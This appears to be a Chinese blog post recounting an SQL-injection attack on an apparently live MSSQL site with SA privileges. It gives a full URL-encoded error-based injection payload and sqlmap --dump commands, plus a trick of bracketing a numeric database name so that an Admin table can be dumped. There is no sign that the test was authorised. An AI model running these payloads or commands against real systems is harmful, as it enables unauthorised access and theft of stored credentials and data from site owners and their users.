zoukankan      html  css  js  c++  java
  • sqlmap注入检测经验0x01

    某日偶遇一SQLInjection Point,MSSQL 2008,已开启显错模式。
    马上扔进SQLMap跑,一路顺畅,竟然还是SA的权限,心想运气真好,无论如何都拿定了。
    数据库,表,列都列出来了,但是上–dump参数就死活跑不出来。
    报错 “unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’”——x是马赛克哈:)
    心想应该很容易搞定,遂查找手工注入方法,测试无果。
    还是回到SQLMap,-h查看帮助,发现-v 参数可以指定输出详细度,开到-v 3,发现显示了payload,一不做二不休,直接开到-v 5,发现提供了整个http请求,怪不得报错,原来都是返回500,用firefox打开完整payload,说是语法错误。

    Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29

    显然是2012的问题,也就是应该是错把库名中的数字错当成参数了

    在URL的库名加上双引号包裹,果然就可以爆出数据了。

    问题又来了,要我手工爆数据我可搞不定,还是要回到SQLMap啊,意思是要想办法把库名包裹起来,不让系统把它解析成一个参数

    XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D”‘2012_xxxx” -T’Admin’

    这次好一点了,还是报错unable to retrieve column names for table ‘Admin’ in database ‘”2012_xxxx”‘,意思是有返回了,但是库名不对。

    XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218  –dump -D”[2012_xxxx]” -T’Admin’

    我也不记得哪来的灵机一动,改用中括号包裹,果然就成功了,dump出整个表了。

    XCONCLUSION:在使用SQLMap时可以使用-v参数指定输出详细度,然后直接用浏览器查看payload,确定语法错误点后想办法改进。在遇到系统误判库名表名是可用中括号包裹名字。
  • 相关阅读:
    第025讲:字典:当索引不好用时 | 课后测试题及答案
    第023、024讲:递归:这帮小兔崽子、汉诺塔 | 课后测试题及答案
    第022讲:函数:递归是神马
    第021讲:函数:lambda表达式
    第020讲:函数:内嵌函数和闭包
    第019讲:函数:我的地盘听我的
    第018讲:函数:灵活即强大
    第017讲:函数
    第016讲:序列!序列
    第015讲:字符串:格式化
  • 原文地址:https://www.cnblogs.com/milantgh/p/4908812.html
Copyright © 2011-2022 走看看